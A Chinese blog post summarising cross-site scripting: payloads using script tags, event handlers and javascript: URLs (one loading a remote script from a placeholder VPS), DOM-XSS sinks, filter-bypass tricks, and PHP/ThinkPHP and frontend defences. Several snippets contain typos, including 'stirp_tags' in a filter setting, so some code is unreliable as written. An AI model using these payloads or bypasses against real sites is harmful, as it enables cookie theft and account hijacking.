xss知识点小结

XSS知识点小结


HTML中可以执行js代码的地方

<script>标签中执行js代码

这是最常用方法

<script> alert(document.cookie);</script>
<script src="http://<yourVPS>/xss.js"></script>

在HTML标签的属性中添加事件

不同标签支持的事件不同,很难全部记住。在找到xss的构造点后,可以到javascript event对象中查找可用的事件。一些可以自动触发的事件可以作为首选项,像onerror,onload等。

<img src="abc" onerror="alert(document.cookie);">
<input id="123" value="test" onblur="alert(document.cookie);">

在具有src,href属性的一些标签中执行js代码

支持这种js执行的标签不多,暂时就找到这几个,后续有接触到会更新

<a href="javascript:alert(document.cookie);">click me!</a>
<iframe src="javascript:alert(document.cookie);"></iframe>

DOM型XSS常见的引发原因

利用的前提都是有可控参数

  • location.href
  • innerHTML,outerHTML
  • appendChild
  • doucument.write/writeln
  • eval,setTimeout
  • ....
location.href="javascript:alert(1)";
var tmp = document.getElementsById('1');
tmp.innerHTML='<script>alert(1);</script>';
doucument.write('<script>alert(1);</scirpt>');
eval("alert(1);");
setTimeout(function(){alert(1);},1000);

XSS的防御与绕过

在找到可控的输入点后,就是想办法构造上面三种方式之一来触发js。但99%的情况下输入的数据都做了过滤处理,下面就是想办法绕过其过滤机制。

常用的绕过方法

  • 大小写绕过
  • 双写绕过
  • 替换绕过
    • alert可用prompt,confirm,top['alert'](1)
    • ()可用 ``代替
    • 空格可用%0a,%0d,/**/; html的标签内分割两部分还可以用/
    • 字符ſ(ord=383)转为大写为S
  • 编码绕过
    • url编码
    • html实体 &#x74; &#116;
    • javascript字符编码 八进制\164 十六进制\x0074
  • js的String.fromCharCode方法获得字符串
  • 注释绕过
    • JavaScript注释 // /**/
    • html注释 <!-- --> <!-- --!>
  • @符号绕过url限制http://test:test@www.baidu.com
  • 宽字节绕过等...

后端xss防御

目前只接触到PHP,所有先简单总结下PHP常用的几个函数,后续会继续更新

  • 自己写的一系列字符串替换/正则匹配过滤语句等。。
  • htmlentities/htmlspecialchars 把& ' " < > 转换为html实体
  • strip_tags 去除空字符、html和php标记,过滤较为严格,任意的标签都会被过滤
  • addslashes 在' " \ 空字符前加上转义字符
  • mysql_escape_string 对特殊的字符后正确转义
  • mysql_real_escape_string 同上,但会考虑连接数据库设置的字符集,从php 7.0.0开始被移除
  • thinkphp中对用户的所有数据请求都会经过Request类处理。

以tp6为例,框架默认没有设置任何过滤,可在app/Request中设置过滤属性

namespace app;
class Request extends \think\Request{
	protected $filter = ['stirp_tags','htmlspecialchars'];
}

也可以在变量获取时进行过滤

Request::get('name','','htmlspecialchars'); // 获取get变量 并用htmlspecialchars函数过滤
Request::param('username','','strip_tags'); // 获取param变量 并用strip_tags函数过滤
Request::post('name','','org\Filter::safeHtml'); // 获取post变量 并用org\Filter类的safeHtml方法过滤

前端xss防御

xss防御重点在后端,但DOM型XSS是js的不当操作造成的,所以编写js代码时应该再对后端的数据进行检查一次之后在写到DOM树中。
前端渲染时明确告诉浏览器数据是文本、属性还是样式: .innerText,.setAttribute,.style
避免使用.innerHTML,outerHTML等上面提到的造成DOM型XSS的方法。如果要使用应当确保没有可控变量或做好过滤。
location.href,标签中的href属性中添加值时应当过滤掉javascript伪协议。

posted @ 2020-07-31 12:04  aPSYCHO  阅读(470)  评论(0编辑  收藏  举报